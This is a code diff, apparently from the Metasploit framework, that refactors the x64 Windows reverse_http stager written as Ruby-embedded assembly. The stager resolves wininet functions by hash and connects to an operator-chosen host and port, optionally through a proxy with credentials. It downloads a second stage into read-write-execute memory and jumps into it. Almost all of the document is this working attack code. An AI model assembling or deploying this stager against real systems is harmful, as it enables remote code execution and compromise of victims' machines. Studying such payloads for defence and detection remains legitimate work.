@@ -73,12 +73,12 @@ def generate(opts={})
73
73
#
74
74
def generate_reverse_http ( opts = { } )
75
75
combined_asm = %Q^
76
- cld ; Clear the direction flag.
77
- and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
78
- call start ; Call start, this pushes the address of 'api_call' onto the stack.
76
+ cld ; Clear the direction flag.
77
+ and rsp, ~0xf ; Ensure RSP is 16 byte aligned
78
+ call start ; Call start, this pushes the address of 'api_call' onto the stack.
79
79
#{ asm_block_api }
80
80
start:
81
- pop rbp
81
+ pop rbp ; rbp now contains the block API pointer
82
82
#{ asm_reverse_http ( opts ) }
83
83
^
84
84
Metasm ::Shellcode . assemble ( Metasm ::X64 . new , combined_asm ) . encode_string
@@ -198,190 +198,166 @@ def asm_reverse_http(opts={})
198
198
end
199
199
200
200
asm = %Q^
201
- xor rbx, rbx
202
-
203
201
load_wininet:
204
- push rbx
202
+ push 0 ; stack alignment
205
203
mov r14, 'wininet'
206
204
push r14 ; Push 'wininet',0 onto the stack
207
205
mov r14, rsp ; Save pointer to string
208
206
mov rcx, r14 ; the name of the lib to load
209
- mov r10, 0x0726774C ; hash( " kernel32.dll", " LoadLibraryA" )
207
+ mov r10, #{ Rex :: Text . block_api_hash ( ' kernel32.dll' , ' LoadLibraryA' ) }
210
208
call rbp
211
209
212
210
internetopen:
211
+ push 0 ; stack alignment
212
+ push 0 ; NULL pointer
213
+ mov rcx, rsp ; lpszAgent ("")
213
214
^
214
215
215
216
if proxy_enabled
216
217
asm << %Q^
217
- call get_proxy_server
218
- db " #{ proxy_info } ", 0x00
219
- get_proxy_server:
220
- pop r8 ; stack pointer (lpszProxyName)
221
- push 3 ; INTERNET_OPEN_TYPE_PROXY = 3 (dwAccessType)
222
- pop rdx
218
+ push 3
219
+ pop rdx ; dwAccessType (3=INTERNET_OPEN_TYPE_PROXY)
220
+ call load_proxy_name
221
+ db " #{ proxy_info } ",0x0 ; proxy information
222
+ load_proxy_name:
223
+ pop r8 ; lpszProxyName (stack pointer)
223
224
^
224
225
else
225
226
asm << %Q^
226
- xor r8, r8 ; NULL pointer (lpszProxyName)
227
- ; the push/pop sequence saves a byte over XOR
228
- push rbx
229
- pop rdx ; PRECONFIG = 0 (dwAccessType)
227
+ xor rdx, rdx ; dwAccessType (0=INTERNET_OPEN_TYPE_PRECONFIG)
228
+ xor r8, r8 ; lpszProxyName (NULL)
230
229
^
231
230
end
232
231
233
232
asm << %Q^
234
- push rbx ; 0 for alignment
235
- push rbx ; 0 for alignment
236
- xor r9, r9 ; NULL pointer (lpszProxyBypass)
237
- mov rcx, rsp ; Empty string pointer (lpszAgent)
238
- push rbx ; 0 (dwFlags)
239
- push rbx ; 0 for alignment
240
- mov r10, 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
233
+ xor r9, r9 ; lpszProxyBypass (NULL)
234
+ push rax ; stack alignment
235
+ push 0 ; dwFlags (0)
236
+ mov r10, #{ Rex ::Text . block_api_hash ( 'wininet.dll' , 'InternetOpenA' ) }
241
237
call rbp
242
- ^
243
238
244
- asm << %Q^
245
- call internetconnect ; puts proxy host pointer on stack
246
- get_server_host:
247
- db "#{ opts [ :host ] } ", 0x00
239
+ jmp dbl_get_server_host
248
240
249
241
internetconnect:
250
- pop rdx ; contains proxy host pointer
251
- mov rcx, rax ; HINTERNET ( hInternet)
252
- mov r8, #{ opts [ :port ] } ;
253
- xor r9, r9 ; String (lpszUsername )
254
- push rbx ; NULL (dwContext )
255
- push rbx ; 0 (dwFlags )
256
- push 3 ; INTERNET_SERVICE_HTTP (dwService )
257
- push rbx ; 0 for alignment
258
- mov r10, 0xC69F8957 ; hash( " wininet.dll", " InternetConnectA" )
242
+ pop rdx ; lpszServerName
243
+ mov rcx, rax ; hInternet
244
+ mov r8, #{ opts [ :port ] } ; nServerPort
245
+ xor r9, r9 ; lpszUsername (NULL )
246
+ push r9 ; dwContent (0 )
247
+ push r9 ; dwFlags (0 )
248
+ push 3 ; dwService (3=INTERNET_SERVICE_HTTP )
249
+ push r9 ; lpszPassword (NULL)
250
+ mov r10, #{ Rex :: Text . block_api_hash ( ' wininet.dll' , ' InternetConnectA' ) }
259
251
call rbp
260
252
^
261
253
262
- if proxy_enabled
263
- # only store connection handle if something is set!
264
- if proxy_user || proxy_pass
265
- asm << %Q^
254
+ if proxy_enabled && ( proxy_user || proxy_pass )
255
+ asm << %Q^
266
256
mov rsi, rax ; Store hConnection in rsi
267
- ^
268
- end
257
+ ^
269
258
270
259
if proxy_user
271
260
asm << %Q^
272
- call internetsetoption_proxy_user ; puts proxy_user pointer on stack
273
- get_proxy_user:
261
+ call load_proxy_user ; puts proxy_user pointer on stack
274
262
db "#{ proxy_user } ", 0x00
275
- internetsetoption_proxy_user :
276
- pop r8 ; contains proxy_user pointer
277
- mov rcx, rsi ; ( hConnection)
278
- push 43 ; INTERNET_OPTION_PROXY_USERNAME
263
+ load_proxy_user :
264
+ pop r8 ; lpBuffer (stack pointer)
265
+ mov rcx, rsi ; hConnection (connection handle )
266
+ push 43 ; (43= INTERNET_OPTION_PROXY_USERNAME)
279
267
pop rdx
280
- push #{ proxy_user . length } ; proxy_user length
268
+ push #{ proxy_user . length } ; dwBufferLength ( proxy_user length)
281
269
pop r9
282
- mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
283
- ; TODO: Without these pushes, things crashed. Not sure why.
284
- push rbx ; 0 for alignment
285
- push rbx ; 0 for alignment
270
+ mov r10, #{ Rex ::Text . block_api_hash ( 'wininet.dll' , 'InternetSetOptionA' ) }
286
271
call rbp
287
272
^
288
273
end
289
274
290
275
if proxy_pass
291
276
asm << %Q^
292
- call internetsetoption_proxy_pass ; puts proxy_pass pointer on stack
293
- get_proxy_pass:
277
+ call load_proxy_pass ; puts proxy_pass pointer on stack
294
278
db "#{ proxy_pass } ", 0x00
295
- internetsetoption_proxy_pass :
296
- pop r8 ; contains proxy_pass pointer
297
- mov rcx, rsi ; ( hConnection)
298
- push 44 ; INTERNET_OPTION_PROXY_PASSWORD
279
+ load_proxy_pass :
280
+ pop r8 ; lpBuffer (stack pointer)
281
+ mov rcx, rsi ; hConnection (connection handle )
282
+ push 44 ; (43= INTERNET_OPTION_PROXY_PASSWORD)
299
283
pop rdx
300
- push #{ proxy_pass . length } ; proxy_pass length
284
+ push #{ proxy_pass . length } ; dwBufferLength ( proxy_pass length)
301
285
pop r9
302
- mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
303
- ; TODO: Without these pushes, things crashed. Not sure why.
304
- push rbx ; 0 for alignment
305
- push rbx ; 0 for alignment
286
+ mov r10, #{ Rex ::Text . block_api_hash ( 'wininet.dll' , 'InternetSetOptionA' ) }
306
287
call rbp
307
288
^
308
289
end
309
290
310
- if proxy_user || proxy_pass
311
- asm << %Q^
291
+ asm << %Q^
312
292
mov rax, rsi ; Restore hConnection in rax
313
- ^
314
- end
293
+ ^
315
294
end
316
295
317
296
asm << %Q^
318
- call httpopenrequest
319
- get_server_uri:
320
- db "#{ opts [ :url ] } ",0x00
297
+
298
+ jmp get_server_uri
321
299
322
300
httpopenrequest:
323
- pop r8 ; String (lpszObjectName)
324
- mov rcx, rax ; HINTERNET (hConnect)
325
- ; the push/pop sequence saves a byte over XOR
326
- push rbx
327
- pop rdx ; NULL pointer (lpszVerb)
328
- xor r9, r9 ; String (lpszVersion)
329
- push rbx ; 0 (dwContext)
330
- ; TODO: figure out what's going on here (get help from HD?)
331
- ; Having to use mov + push instead of push qword because
332
- ; Metasm doesn't seem to like it. Plain 'push' doesn't work
333
- ; because of an overflow error.
334
- ;push qword 0x#{ http_open_flags . to_s ( 16 ) } ; (dwFlags)
335
- mov r10, 0x#{ http_open_flags . to_s ( 16 ) } ; (dwFlags)
301
+ mov rcx, rax ; hConnect
302
+ xor rdx, rdx ; lpszVerb (NULL=GET)
303
+ pop r8 ; lpszObjectName (URI)
304
+ xor r9, r9 ; lpszVersion (NULL)
305
+ push rdx ; dwContext (0)
306
+ mov r10, #{ "0x%.8x" % http_open_flags } ; dwFlags
336
307
push r10
337
- push rbx ; NULL pointer (lplpszAcceptTypes )
338
- push rbx ; NULL pointer (lpszReferer )
339
- mov r10, 0x3B2E55EB ; hash( " wininet.dll", " HttpOpenRequestA" )
308
+ push rdx ; lplpszAcceptType (NULL )
309
+ push rdx ; lpszReferer (NULL )
310
+ mov r10, #{ Rex :: Text . block_api_hash ( ' wininet.dll' , ' HttpOpenRequestA' ) }
340
311
call rbp
341
- mov rsi, rax ; Store the request handle in RSI
342
312
343
- retry_setup:
313
+ prepare:
314
+ mov rsi, rax
344
315
push #{ retry_count }
345
316
pop rdi
346
317
347
- retry :
348
- ^
318
+ retryrequest :
319
+ ^
349
320
350
321
if opts [ :ssl ]
351
322
asm << %Q^
352
- internetsetoption_ssl:
353
- mov rcx, rsi ; (hInternet)
354
- push 31 ; INTERNET_OPTION_SECURITY_FLAGS
355
- pop rdx
356
- push rbx ; 0 for alignment
357
- push #{ set_option_flags } ; (dwFlags)
358
- mov r8, rsp
359
- push 4 ; sizeof(dwFlags)
360
- pop r9
361
- mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
323
+ internetsetoption:
324
+ mov rcx, rsi ; hInternet (request handle)
325
+ mov rdx, 31 ; dwOption (31=INTERNET_OPTION_SECURITY_FLAG)
326
+ push 0 ; stack alignment
327
+ push #{ "0x%.8x" % set_option_flags } ; flags
328
+ mov r8, rsp ; lpBuffer (pointer to flags)
329
+ mov r9, 4 ; dwBufferLength (4 = size of flags)
330
+ mov r10, #{ Rex ::Text . block_api_hash ( 'wininet.dll' , 'InternetSetOptionA' ) }
362
331
call rbp
363
332
^
364
333
end
365
334
366
335
asm << %Q^
367
336
httpsendrequest:
368
- mov rcx, rsi ; HINTERNET (hRequest)
369
- ; the push/pop sequence saves a byte over XOR
370
- push rbx
371
- pop rdx ; NULL pointer (lpszHeaders)
372
- xor r8, r8 ; 0 (dwHeadersLength)
373
- xor r9, r9 ; NULL pointer (lpOptional)
374
- push rbx ; 0 for alignment
375
- push rbx ; 0 (dwOptionalLength)
376
- mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
337
+ mov rcx, rsi ; hRequest (request handle)
338
+ xor rdx, rdx ; lpszHeaders (NULL)
339
+ xor r8, r8 ; dwHeadersLen (0)
340
+ xor r9, r9 ; lpszVersion (NULL)
341
+ push rdx ; stack alignment
342
+ push rdx ; dwOptionalLength (0)
343
+ mov r10, #{ Rex ::Text . block_api_hash ( 'wininet.dll' , 'HttpSendRequestA' ) }
377
344
call rbp
378
- test eax, eax ; use eax, it's 1 byte less than rax
345
+ test eax, eax
379
346
jnz allocate_memory
380
347
381
348
try_it_again:
382
- dec edi ; use edi, it's 1 byte less than rdi
349
+ dec rdi
383
350
jz failure
384
- jmp retry
351
+ jmp retryrequest
352
+
353
+ dbl_get_server_host:
354
+ jmp get_server_host
355
+
356
+ get_server_uri:
357
+ call httpopenrequest
358
+
359
+ server_uri:
360
+ db "#{ opts [ :url ] } ",0x0
385
361
^
386
362
387
363
if opts [ :exitfunk ]
@@ -392,52 +368,56 @@ def asm_reverse_http(opts={})
392
368
else
393
369
asm << %Q^
394
370
failure:
395
- push 0x56A2B5F0 ; hardcoded to exitprocess for size
371
+ push 0 ; stack alignment
372
+ push 0x56A2B5F0 ; hardcoded to exitprocess for size
396
373
call rbp
397
374
^
398
375
end
399
376
400
377
asm << %Q^
401
378
allocate_memory:
402
- ; the push/pop sequence saves a byte over XOR
403
- push rbx
404
- pop rcx ; NULL pointer (lpAddress)
405
- mov rdx, 0x00400000 ; SIZE_T (dwSize)
406
- mov r8, 0x1000 ; MEM_COMMIT (flAllocationType)
407
- push 0x40
408
- pop r9 ; PAGE_EXECUTE_READWRITE (flProtect)
409
- mov r10, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
410
- call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
379
+ xor rcx, rcx ; lpAddress (NULL)
380
+ mov rdx, 0x00400000 ; dwSize (4 MB)
381
+ mov r8, 0x1000 ; flAllocationType (0x1000=MEM_COMMIT)
382
+ mov r9, 0x40 ; flProtect (0x40=PAGE_EXECUTE_READWRITE)
383
+ mov r10, #{ Rex ::Text . block_api_hash ( 'kernel32.dll' , 'VirtualAlloc' ) }
384
+ call rbp
411
385
412
386
download_prep:
413
- xchg rax, rbx ; place the allocated base address in ebx
414
- push rbx ; store a copy of the stage base address on the stack
415
- push rbx ; temporary storage for bytes read count
416
- mov rdi, rsp ; &bytesRead
387
+ xchg rax, rbx ; store the allocated base in rbx
388
+ push rbx ; store a copy for later
389
+ push rbx ; temp storage for byte count
390
+ mov rdi, rsp ; rdi is the &bytesRead
417
391
418
392
download_more:
419
- mov rcx, rsi ; HINTERNET (hFile )
420
- mov rdx, rbx ; ( lpBuffer)
421
- mov r8, 8192 ; ( dwNumberOfBytesToRead)
422
- mov r9, rdi ; (lpNumberOfBytesRead )
423
- mov r10, 0xE2899612 ; hash( " wininet.dll", " InternetReadFile" )
393
+ mov rcx, rsi ; hFile (request handle )
394
+ mov rdx, rbx ; lpBuffer (pointer to mem )
395
+ mov r8, 8192 ; dwNumberOfBytesToRead (8k )
396
+ mov r9, rdi ; lpdwNumberOfByteRead (stack pointer )
397
+ mov r10, #{ Rex :: Text . block_api_hash ( ' wininet.dll' , ' InternetReadFile' ) }
424
398
call rbp
425
- add rsp, 32 ; clean up reserved space
399
+ add rsp, 32 ; clean up reserved space
426
400
427
- test eax, eax ; did the download fail?
401
+ test eax, eax ; did the download fail?
428
402
jz failure
429
403
430
- mov ax, word ptr [rdi]
431
- ; Use ebx/eax here because we save bytes (don't need higher order 32 bits)
432
- add ebx, eax ; buffer += lpNumberOfBytesRead
404
+ mov ax, word ptr [rdi] ; extract the read byte count
405
+ add rbx, rax ; buffer += bytes read
433
406
434
- test eax, eax ; use eax instead of rax, saves a byte
435
- jnz download_more ; loop until 0 is returned
436
- pop rax ; clear temp storage
437
- pop rax ; alignment
407
+ test rax, rax ; are we done?
408
+ jnz download_more ; keep going
409
+ pop rax ; clear up reserved space
410
+ pop rax ; realign again
438
411
439
412
execute_stage:
440
- ret ; dive into the stored stage address
413
+ ret ; return to the stored stage address
414
+
415
+ get_server_host:
416
+ call internetconnect
417
+
418
+ server_host:
419
+ db "#{ opts [ :host ] } ",0x0
420
+
441
421
^
442
422
443
423
if opts [ :exitfunk ]
0 commit comments